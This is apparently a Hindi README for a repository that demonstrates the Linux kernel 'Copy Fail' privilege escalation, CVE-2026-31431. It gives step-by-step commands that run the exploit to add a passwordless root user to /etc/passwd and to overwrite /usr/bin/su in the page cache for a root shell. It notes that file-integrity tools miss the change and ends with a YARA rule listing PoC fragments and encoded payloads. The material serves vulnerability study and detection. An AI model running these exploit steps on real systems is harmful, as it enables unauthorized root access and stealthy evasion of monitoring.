
CVE-2026-31431 का एक डेमो और स्पष्टीकरण
CVE-2026-31431, लिनक्स कर्नेल Copy Fail लोकल प्रिविलेज एस्केलेशन भेद्यता का प्रदर्शन और व्याख्या। यह भेद्यता पढ़ने की अनुमति के साथ खोली गई फ़ाइलों को पेज कैश में डेटा अधिलेखित करने की अनुमति देती है।
यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों के लिए है और एक नियंत्रित वातावरण में भेद्यता को दर्शाती है। शामिल फ़ाइलें हैं:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
Copy Fail नामक यह भेद्यता 2017 से 2026 तक के लिनक्स कर्नेल में algif_aead में एक तर्क दोष के कारण मौजूद है। इसे CVE-2026-31431 सौंपा गया है जिसका CVSS स्कोर 7.8 है, जो इसे उच्च गंभीरता रेटिंग देता है। यह एक्सप्लॉइट नियतात्मक है और पारंपरिक फ़ाइल अखंडता निगरानी उपकरणों को बायपास कर सकता है।
प्रूफ ऑफ कॉन्सेप्ट विभिन्न भाषाओं में प्रकाशित किए गए हैं, जिनमें C, Python और Go शामिल हैं, लेकिन इस प्रदर्शन के लिए Python का उपयोग किया गया है और इसके लिए Python संस्करण 3.10 या उच्चतर की आवश्यकता है। इस एक्सप्लॉइट के लिए एक अल्प-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में स्थानीय कोड निष्पादन की आवश्यकता होती है और इसका उपयोग स्थानीय प्रिविलेज एस्केलेशन के लिए किया जा सकता है।
नीचे दिए गए अनुभाग हैं:
सुनिश्चित करें कि आपके पास Vagrant और QEMU स्थापित हैं। फिर, इस रिपॉज़िटरी को क्लोन करें और प्रोजेक्ट निर्देशिका में जाएं।
vagrant up
vagrant ssh
VM के अंदर, हम अपनी क्षमताओं की सीमाओं का परीक्षण कर सकते हैं।
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
हम स्पष्ट रूप से अपनी क्षमताओं में सीमित हैं, लेकिन हम विशेषाधिकार बढ़ाने के लिए भेद्यता का उपयोग कर सकते हैं।
भेद्यता को समझने के लिए, आइए एक डमी फ़ाइल को अधिलेखित करें और देखें कि क्या होता है।
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
हमारे पास तीन पंक्तियों वाली एक फ़ाइल है। पहली पंक्ति 6 बाइट्स (न्यूलाइन सहित) है, दूसरी पंक्ति 2 बाइट्स है, और तीसरी पंक्ति एक बाइट है। यह महत्वपूर्ण है क्योंकि एक्सप्लॉइट 4 बाइट्स के ब्लॉक में डेटा अधिलेखित करता है, और हम पेलोड को भरने के लिए पैड करते हैं।
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
हम देख सकते हैं कि हमने फ़ाइल के पहले 8 बाइट्स को अपने पेलोड से बदल दिया है। दो अक्षर हैं जो वहां हैं लेकिन मुद्रण योग्य नहीं हैं। जांचने के लिए फ़ाइल को nano में खोलें।
लेकिन यह बहुत रोमांचक नहीं है, तो आइए उन फ़ाइलों में लिखने की ओर बढ़ें जिनके लिए हमारे पास लिखने की अनुमति नहीं है।
हम रूट विशेषाधिकारों वाले लेकिन पासवर्ड रहित उपयोगकर्ता को जोड़ने के लिए /etc/passwd की सामग्री को अधिलेखित कर सकते हैं।
cat /etc/passwd
पहली पंक्ति में रूट उपयोगकर्ता है और इसमें 4 अक्षरों के 8 समूह हैं (न्यूलाइन सहित)। यह इस प्रकार प्रारूपित है root:x:0:0:root:/root:/bin/bash, और मान उपयोगकर्ता नाम, पासवर्ड, UID, GID, होम निर्देशिका, शेल को संदर्भित करते हैं।
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
हमने UID 0 और GID 0 वाला एक नया उपयोगकर्ता hackd जोड़ा है, जिसका अर्थ है कि इसमें रूट विशेषाधिकार हैं। पासवर्ड फ़ील्ड खाली है, इसलिए हम बिना पासवर्ड के लॉग इन कर सकते हैं।
su hackd
id
cat /etc/shadow
मूल एक्सप्लॉइट में, बाइनरी /usr/bin/su को शेल निष्पादित करने के निर्देशों के साथ अधिलेखित किया जाता है, जिससे हमलावर को su निष्पादित करते समय रूट विशेषाधिकार प्राप्त करने की अनुमति मिलती है। हम एक फ़ाइल से मूल पेलोड के साथ /usr/bin/su को लक्षित करके इस एक्सप्लॉइट को फिर से बना सकते हैं।
ध्यान दें कि यह इस पेज कैश में su बाइनरी को नष्ट कर देता है।
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
पेलोड के स्थान पर होने के साथ, हम su निष्पादित कर सकते हैं और रूट विशेषाधिकार प्राप्त कर सकते हैं। यह उपयोगकर्ता आईडी 0 के साथ एक शेल खोलता है, जो आमतौर पर रूट उपयोगकर्ता होता है, लेकिन यदि उपरोक्त डेमो किया गया था, तो यह हमारे द्वारा बनाया गया hackd उपयोगकर्ता होगा। यह एक्सप्लॉइट एक शेल खोलेगा भले ही root उपयोगकर्ता का पासवर्ड हो।
su
id
यह एक्सप्लॉइट डिस्क पर फ़ाइल को संशोधित नहीं करता है, बल्कि पेज-कैश स्थिति को संशोधित करता है। परिणामस्वरूप, पारंपरिक फ़ाइल अखंडता निगरानी उपकरण जो डिस्क पर फ़ाइलों में परिवर्तन की जांच करते हैं, इस एक्सप्लॉइट का पता नहीं लगाते हैं।
इसे प्रदर्शित करने के लिए, उपरोक्त एक्सप्लॉइट चलाएं और फिर VM को पुनः आरंभ करने के बाद, लक्ष्य फ़ाइल की सामग्री की जांच करें।
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
पता लगाने के नियम सामुदायिक GitHub रेपो में साझा किए जाते हैं जो नेटवर्क संकेतकों या ज्ञात स्क्रिप्ट पैटर्न का पता लगाने का प्रयास करते हैं। ये पता लगाने के नियम सार्वजनिक PoC आर्टिफैक्ट्स, ज्ञात पेलोड, कोड अंशों और URL पर आधारित हैं।
उदाहरण के लिए निम्नलिखित विशिष्ट PoC-संबंधित कोड अंशों या एन्कोडेड पेलोड का पता लगाएगा:
rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
meta:
...
strings:
...
// Code fragments from public PoCs
$xs1 = "| python3 && su"
$xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
$xs3 = "[-] page-cache mutation failed"
$xs4 = "[+] /etc/passwd page cache mutated"
$xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
$xs6 = "/tmp/.cve_test"
...
// Payloads used in the Go version
$xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
$xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
$xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
$xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
$xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
$xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
condition:
1 of ($x*)
or ($sa1 and 1 of ($sb*))
}